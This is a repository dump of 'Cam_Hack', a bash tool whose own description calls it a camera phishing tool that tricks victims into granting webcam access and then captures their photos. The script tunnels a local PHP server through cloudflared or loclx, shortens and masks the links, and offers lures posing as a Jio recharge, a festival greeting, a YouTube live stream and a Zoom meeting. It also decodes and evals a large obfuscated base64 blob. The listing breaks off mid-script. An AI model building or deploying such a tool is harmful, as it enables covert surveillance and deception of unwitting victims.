├── README.md ├── ch.sh ├── files └── changelog.log └── sites ├── fest ├── capture.js ├── desc.png ├── index.html ├── index.php ├── ip.php ├── post.php └── styles.css ├── jio ├── capture.js ├── index.html ├── index.php ├── ip.php ├── jio │ ├── invite.htm │ └── style.css ├── kk.jpg └── post.php ├── live ├── capture.js ├── desc.png ├── index.html ├── index.php ├── ip.php └── post.php └── om ├── capture.js ├── desc.png ├── index.html ├── index.php ├── ip.php ├── post.php └── styles.css /README.md: -------------------------------------------------------------------------------- 1 | # Cam_Hack -------------------------------------------------------------------------------- /ch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # CamHacker 4 | # Version : 1.5 5 | # Description: Cam_Hack is a camera Phishing tool, Which Send a phishing link to the victim, if they gives access to camera, Then their photo will be captured! 6 | # Author : flyingcluprit 7 | # Github : https://github.com/flyingculprit 8 | # Email : suryan2021ai@gmail.com 9 | 10 | 11 | # Colors 12 | 13 | black="\033[1;30m" 14 | red="\033[1;31m" 15 | green="\033[1;32m" 16 | yellow="\033[1;33m" 17 | blue="\033[1;34m" 18 | purple="\033[1;35m" 19 | cyan="\033[1;36m" 20 | violate="\033[1;37m" 21 | white="\033[0;37m" 22 | nc="\033[00m" 23 | 24 | # Output snippets 25 | info="${cyan}[${white}+${cyan}] ${yellow}" 26 | info2="${blue}[${white}•${blue}] ${yellow}" 27 | ask="${green}[${white}?${green}] ${purple}" 28 | error="${yellow}[${white}!${yellow}] ${red}" 29 | success="${cyan}[${white}√${cyan}] ${green}" 30 | 31 | 32 | 33 | version="1.5" 34 | 35 | cwd=`pwd` 36 | tunneler_dir="$HOME/.tunneler" 37 | 38 | 39 | loclx_help=" 40 | ${info}Steps: ${nc} 41 | ${blue}[1]${yellow} Go to ${green}https://localxpose.io 42 | ${blue}[2]${yellow} Create an account 43 | ${blue}[3]${yellow} Login to your account 44 | ${blue}[4]${yellow} Visit ${green}https://localxpose.io/dashboard/access${yellow} and copy your authtoken 45 | " 46 | 47 | # Check for sudo 48 | if command -v sudo > /dev/null 2>&1; then 49 | sudo=true 50 | else 51 | sudo=false 52 | fi 53 | 54 | # Check if mac or termux 55 | termux=false 56 | brew=false 57 | cloudflared=false 58 | loclx=false 59 | cf_command="$tunneler_dir/cloudflared" 60 | loclx_command="$tunneler_dir/loclx" 61 | if [[ -d /data/data/com.termux/files/home ]]; then 62 | termux=true 63 | cf_command="termux-chroot $tunneler_dir/cloudflared" 64 | loclx_command="termux-chroot $tunneler_dir/loclx" 65 | fi 66 | if command -v brew > /dev/null 2>&1; then 67 | brew=true 68 | if command -v cloudflared > /dev/null 2>&1; then 69 | cloudflared=true 70 | cf_command="cloudflared" 71 | fi 72 | if command -v localxpose > /dev/null 2>&1; then 73 | loclx=true 74 | loclx_command="localxpose" 75 | fi 76 | fi 77 | 78 | ch_prompt="\n${cyan}Cam${nc}@${cyan}Hacker ${red}$ ${nc}" 79 | 80 | # Kill running instances of required packages 81 | killer() { 82 | for process in php wget curl unzip cloudflared loclx localxpose; do 83 | if pidof "$process" > /dev/null 2>&1; then 84 | killall "$process" 85 | fi 86 | done 87 | } 88 | 89 | # Check if offline 90 | netcheck() { 91 | while true; do 92 | wget --spider --quiet https://github.com 93 | if [ "$?" != 0 ]; then 94 | echo -e "${error}No internet!\007\n" 95 | sleep 2 96 | else 97 | break 98 | fi 99 | done 100 | } 101 | 102 | 103 | # Set template 104 | url_manager() { 105 | if [[ "$2" == "1" ]]; then 106 | echo -e "${info}Your urls are: \n" 107 | fi 108 | echo -e "${success}URL ${2} > ${1}\n" 109 | echo -e "${success}URL ${3} > ${mask}@${1#https://}\n" 110 | netcheck 111 | if echo $1 | grep -q "$TUNNELER"; then 112 | shortened=$(curl -s "https://is.gd/create.php?format=simple&url=${1}") 113 | else 114 | shortened="" 115 | fi 116 | if ! [ -z "$shortened" ]; then 117 | if echo "$shortened" | head -n1 | grep -q "https://"; then 118 | echo -e "${success}Shortened > ${shortened}\n" 119 | echo -e "${success}Masked > ${mask}@${shortened#https://}\n" 120 | fi 121 | fi 122 | } 123 | 124 | 125 | # Prevent ^C 126 | stty -echoctl 127 | 128 | # Detect UserInterrupt 129 | trap "echo -e '\n${success}Thanks for using!\n'; exit" 2 130 | 131 | 132 | echo -e "\n${info}Please Wait!...\n${nc}" 133 | 134 | gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '=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dlUXdVR4lWUs5UWUJDeWVVV0UjUWpERWpmRWpFMxkFVHp0QVFDaQ9kVWR1UGplcWdFZKdVR4lWUs5UWWV1b4ZlRGNUUy4EMjBjWKp1R4NnVWJ0UNZlRHNFbaRlUVpERX5mU6J1ast2Usp1UUZlWyZVR5clUsplbVZFaNl1aKR1VFhTNWZlTWFlaGVlW6hGWUdkSDVVMoZXTYxGWaJzY5l1MW5WTsxmbapnSqFWRwh0UUplVNxGcvRFbodVYVZEVX5mUCV2VKZHVsRWYaJDdEl1MOdlUyYEMNVkTtJmeGR0UXRmQRBDbuFVVOpkWykzMUpHZW1UbOpnUtFTYPZlVGZ1aKNlUWZ1VRxmTMJmRKl1VXR3QXdkUw80RxkGZEJERapWRxYFM45WUV5kSaBjREN1VkJUYV10MjFjUh1UVwlkWExmVSZlWDV1aWZlVrpEVTJDeTdlRsJXUsh2akRkQEplaFhXUwwmbRVlTKpFMGR0UXRmdkBDOzU1V1E2YHdWeZJDZ6F2asVTVXxmSPRlUWVFMJhXTGJlRTxmVXZVRKR1UzY1cWFDbw8UVkFWYWlleZNTU3FlMaZTTV5kSaBjREN1VkJUUwwmbiNDZQ5UMGV3VuJ0bN1mTuNmMwpUZWZEcTR1aw0kRStkWGZ1UVBjSUN1MVVjVyYUdW1WMqRGRCRkWutGeRBDbuFVVOpkWwYERTdFZ2RGM4MTVXVTYjd0Z5llMkpXYrxWNVdFbK90V0NnVWJ0UNZlRHNFbaRlUVpEVTpnVL1kMJdHVsRWYldFeIdlbRdXUyolcNVlTKpFMGR0UXRmQRBDbuJ2MkBlTxYUdX5mQv1UbO52YyAnSlZlRwNFVspkVspkTW1GdVRVMadkVtRmchdlTzVmRkFGZUZFWaRUQ4VFM3RTVshWTaBjREN1VkJUUwwmbRdFbEpFMGR0UXRmQRBDbuFFWsBlTxYUdX5mQv1UbO52YyAnSlZlRwNFVsJlYGZVURtmWKNmRGVXWzo1QXVEewQGMopGZFZERTdFZCFFMs5WUV5kSTNjT2QleCFmVyYkdUtGaK5EMsBHVXRnSVFjQQ9kVWRlVVlEeWdEZyF2VKJjYFR2akpHbYRFSSNTTyoEMRVlTKpFMGR0UXRmQRBDbM5kRkhmWwYVRT1GZW1UbO9GVrRmSaBjRENVVzRjUxAnbjFjUZpVRKREVXRmUN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' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp="" 135 | x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp") 136 | eval "$N0q$x$Hc2$rQW" 137 | 138 | 139 | 140 | # Workdir 141 | 142 | if [ -z "$DIRECTORY" ]; then 143 | exit 1; 144 | else 145 | if [[ $DIRECTORY == true || ! -d $DIRECTORY ]]; then 146 | if $termux; then 147 | if ! [ -d /sdcard/Pictures ]; then 148 | cd /sdcard && mkdir Pictures 149 | fi 150 | FOL="/sdcard/Pictures" 151 | cd "$FOL" 152 | if ! [[ -e ".temp" ]]; then 153 | touch .temp || (termux-setup-storage && echo -e "\n${error}Please Restart Termux!\n\007" && sleep 5 && exit 0) 154 | fi 155 | cd "$cwd" 156 | else 157 | if [ -d "$HOME/Pictures" ]; then 158 | FOL="$HOME/Pictures" 159 | else 160 | FOL="$cwd" 161 | fi 162 | fi 163 | else 164 | FOL="$DIRECTORY" 165 | fi 166 | fi 167 | 168 | 169 | # Set Tunneler 170 | if [ -z $TUNNELER ]; then 171 | exit 1; 172 | else 173 | if [ $TUNNELER == "cloudflared" ]; then 174 | TUNNELER="cloudflare" 175 | fi 176 | fi 177 | 178 | 179 | # Set Port 180 | if [ -z $PORT ]; then 181 | exit 1; 182 | else 183 | if [ ! -z "${PORT##*[!0-9]*}" ] ; then 184 | printf "" 185 | else 186 | PORT=8080 187 | fi 188 | fi 189 | 190 | # Install required packages 191 | for package in php curl wget unzip; do 192 | if ! command -v "$package" > /dev/null 2>&1; then 193 | echo -e "${info}Installing ${package}....${nc}" 194 | for pacman in pkg apt apt-get yum dnf brew; do 195 | if command -v "$pacman" > /dev/null 2>&1; then 196 | if $sudo; then 197 | sudo $pacman install $package 198 | else 199 | $pacman install $package 200 | fi 201 | break 202 | fi 203 | done 204 | if command -v apk > /dev/null 2>&1; then 205 | if $sudo; then 206 | sudo apk add $package 207 | else 208 | apk add $package 209 | fi 210 | break 211 | fi 212 | if command -v pacman > /dev/null 2>&1; then 213 | if $sudo; then 214 | sudo pacman -S $package 215 | else 216 | pacman -S $package 217 | fi 218 | break 219 | fi 220 | fi 221 | done 222 | 223 | # Check for proot in termux 224 | if $termux; then 225 | if ! command -v proot > /dev/null 2>&1; then 226 | echo -e "${info}Installing proot...." 227 | pkg install proot -y 228 | fi 229 | if ! command -v proot > /dev/null 2>&1; then 230 | echo -e "${error}Proot can't be installed!\007\n" 231 | exit 1 232 | fi 233 | fi 234 | 235 | # Set Region for loclx 236 | if [ -z $REGION ]; then 237 | exit 1; 238 | fi 239 | 240 | # Install tunneler binaries 241 | if $brew; then 242 | ! $cloudflared && brew install cloudflare/cloudflare/cloudflared 243 | ! $loclx && brew install localxpose 244 | fi 245 | 246 | # Check if required packages are successfully installed 247 | for package in php wget curl unzip; do 248 | if ! command -v "$package" > /dev/null 2>&1; then 249 | echo -e "${error}${package} cannot be installed!\007\n" 250 | exit 1 251 | fi 252 | done 253 | 254 | # Set subdomain for loclx 255 | if [ -z $SUBDOMAIN ]; then 256 | exit 1; 257 | fi 258 | 259 | local_url="127.0.0.1:${PORT}" 260 | 261 | # Check for running processes that couldn't be terminated 262 | killer 263 | for process in php wget curl unzip cloudflared loclx localxpose; do 264 | if pidof "$process" > /dev/null 2>&1; then 265 | echo -e "${error}Previous ${process} cannot be closed. Restart terminal!\007\n" 266 | exit 1 267 | fi 268 | done 269 | 270 | 271 | # Download tunnlers 272 | arch=$(uname -m) 273 | platform=$(uname) 274 | if ! [[ -d $tunneler_dir ]]; then 275 | mkdir $tunneler_dir 276 | fi 277 | if ! [[ -f $tunneler_dir/cloudflared ]] ; then 278 | nocf=true 279 | else 280 | nocf=false 281 | fi 282 | if ! [[ -f $tunneler_dir/loclx ]] ; then 283 | noloclx=true 284 | else 285 | noloclx=false 286 | fi 287 | netcheck 288 | rm -rf cloudflared cloudflared.tgz loclx.zip 289 | cd "$cwd" 290 | if echo "$platform" | grep -q "Darwin"; then 291 | if echo "$arch" | grep -q "x86_64" || echo "$arch" | grep -q "amd64"; then 292 | $nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" "cloudflared.tgz" 293 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-darwin-amd64.zip" "loclx.zip" 294 | elif echo "$arch" | grep -q "arm64" || echo "$arch" | grep -q "aarch64"; then 295 | echo -e "${error}Device architecture unknown. Download cloudflared manually!" 296 | sleep 3 297 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-darwin-arm64.zip" "loclx.zip" 298 | else 299 | echo -e "${error}Device architecture unknown. Download cloudflared/loclx manually!" 300 | sleep 3 301 | fi 302 | elif echo "$platform" | grep -q "Linux"; then 303 | if echo "$arch" | grep -q "arm" || echo "$arch" | grep -q "Android"; then 304 | $nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm" "cloudflared" 305 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip" "loclx.zip" 306 | elif echo "$arch" | grep -q "aarch64" || echo "$arch" | grep -q "arm64"; then 307 | $nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64" "cloudflared" 308 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip" "loclx.zip" 309 | elif echo "$arch" | grep -q "x86_64" || echo "$arch" | grep -q "amd64"; then 310 | $nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64" "cloudflared" 311 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip" "loclx.zip" 312 | else 313 | $nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386" "cloudflared" 314 | $noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip" "loclx.zip" 315 | fi 316 | else 317 | echo -e "${error}Unsupported Platform!" 318 | exit 319 | fi 320 | 321 | 322 | 323 | # Check for update 324 | netcheck 325 | if [[ -z $UPDATE ]]; then 326 | exit 1 327 | else 328 | if [[ $UPDATE == true ]]; then 329 | git_ver=`curl -s -N https://raw.githubusercontent.com/flyingculprit/CamHacker/main/files/version.txt` 330 | else 331 | git_ver=$version 332 | fi 333 | fi 334 | 335 | if [[ "$git_ver" != "404: Not Found" && "$git_ver" != "$version" ]]; then 336 | changelog=$(curl -s -N https://raw.githubusercontent.com/flyingculprit/CamHacker/main/files/changelog.log) 337 | clear 338 | echo -e "$logo" 339 | echo -e "${info}CamHacker has a new update!\n${info}Current: ${red}${version}\n${info}Available: ${green}${git_ver}\n" 340 | printf "${ask}Do you want to update CamHacker?${yellow}[y/n] > $green" 341 | read upask 342 | printf "$nc" 343 | if [[ "$upask" == "y" ]]; then 344 | cd .. && rm -rf CamHacker camhacker && git clone https://github.com/flyingculprit/CamHacker 345 | echo -e "\n${success}CamHacker updated successfully!!" 346 | if [[ "$changelog" != "404: Not Found" ]]; then 347 | echo -e "${purple}[•] Changelog:\n${blue}" 348 | echo -e "$changelog" | head -n4 349 | fi 350 | exit 351 | elif [[ "$upask" == "n" ]]; then 352 | echo -e "\n${info}Updating cancelled. Using old version!" 353 | sleep 2 354 | else 355 | echo -e "\n${error}Wrong input!\n" 356 | sleep 2 357 | fi 358 | fi 359 | 360 | # Loclx Authtoken 361 | if ! [[ -e "$HOME/.localxpose/.access" ]]; then # if $loclx_command account status | grep -q "Error"; then 362 | for try in 1 2; do 363 | echo -e "\n${ask}Enter your loclx authtoken:${yellow}[${blue}Enter 'help' for help${yellow}]" 364 | printf "$ch_prompt" 365 | read authtoken 366 | if [ -z "$authtoken" ]; then 367 | echo -e "\n${error}No authtoken!\n\007" 368 | sleep 1 369 | break 370 | elif [ "$authtoken" == "help" ]; then 371 | echo -e "$loclx_help" 372 | sleep 4 373 | else 374 | if ! [ -d "$HOME/.localxpose" ]; then 375 | mkdir "$HOME/.localxpose" 376 | fi 377 | echo -n "$authtoken" > $HOME/.localxpose/.access 378 | sleep 1 379 | break 380 | fi 381 | done 382 | fi 383 | 384 | 385 | # Start Point 386 | while true; do 387 | clear 388 | echo -e "$logo" 389 | sleep 1 390 | echo -e "${ask}Choose an option: 391 | 392 | ${cyan}[${white}1${cyan}] ${yellow}Jio Recharge 393 | ${cyan}[${white}2${cyan}] ${yellow}Festival 394 | ${cyan}[${white}3${cyan}] ${yellow}Live Youtube 395 | ${cyan}[${white}4${cyan}] ${yellow}Online Meeting 396 | ${cyan}[${white}d${cyan}] ${yellow}Change Image Directory (current: ${red}${FOL}${yellow}) 397 | ${cyan}[${white}p${cyan}] ${yellow}Change Default Port (current: ${red}${PORT}${yellow}) 398 | ${cyan}[${white}x${cyan}] ${yellow}About 399 | ${cyan}[${white}m${cyan}] ${yellow}More tools 400 | ${cyan}[${white}0${cyan}] ${yellow}Exit${blue} 401 | " 402 | sleep 1 403 | if [ -z $OPTION ]; then 404 | exit 1 405 | else 406 | if [[ $OPTION == true ]]; then 407 | printf "$ch_prompt" 408 | read option 409 | else 410 | option=$OPTION 411 | fi 412 | fi 413 | # Select template 414 | if echo $option | grep -q "1"; then 415 | dir="jio" 416 | mask="https://free-399rs-jio-recharge" 417 | break 418 | elif echo $option | grep -q "2"; then 419 | dir="fest" 420 | echo -e "\n${ask}Enter festival name${yellow} (Current: ${green}birthday):${cyan}" 421 | printf "$ch_prompt" 422 | read fest_name 423 | mask="https://best-wishes-to-you" 424 | break 425 | elif echo $option | grep -q "3"; then 426 | dir="live" 427 | echo -e "\n${ask}Enter youtube video ID:${cyan}" 428 | printf "$ch_prompt" 429 | read vid_id 430 | mask="https://watch-youtube-videos-live" 431 | break 432 | elif echo $option | grep -q "4"; then 433 | dir="om" 434 | mask="https://join-zoom-online-meeting" 435 | break 436 | elif echo $option | grep -q "p"; then 437 | echo -e "\n${ask}Enter Port:${cyan}" 438 | printf "$ch_prompt" 439 | read pore 440 | if [ ! -z "${pore##*[!0-9]*}" ] ; then 441 | PORT=$pore; 442 | local_url="127.0.0.1:${PORT}" 443 | echo -e "\n${success}Port changed to ${cyan}${PORT}${green} successfully!\n" 444 | sleep 2 445 | else 446 | echo -e "\n${error}Invalid port!\n\007" 447 | sleep 2 448 | fi 449 | elif echo $option | grep -q "d"; then 450 | echo -e "\n${ask}Enter Directory:${cyan}" 451 | printf "$ch_prompt" 452 | read dire 453 | if ! [ -d $dire ]; then 454 | echo -e "\n${error}Invalid directory!\n\007" 455 | sleep 2 456 | else 457 | FOL="$dire" 458 | echo -e "\n${success}Directory changed successfully!\n" 459 | sleep 2 460 | fi 461 | elif echo $option | grep -q "x"; then 462 | clear 463 | echo -e "$logo" 464 | echo -e "$red[ToolName] ${cyan} :[Cam_Hack] 465 | $red[Version] ${cyan} :[${version}] 466 | $red[Description]${cyan} :[Camera Phishing tool] 467 | $red[Author] ${cyan} :[flyingculprit] 468 | $red[Github] ${cyan} :[https://github.com/flyingculprit] 469 | $red[Messenger] ${cyan} :[https://m.me/flyingculprit] 470 | $red[Email] 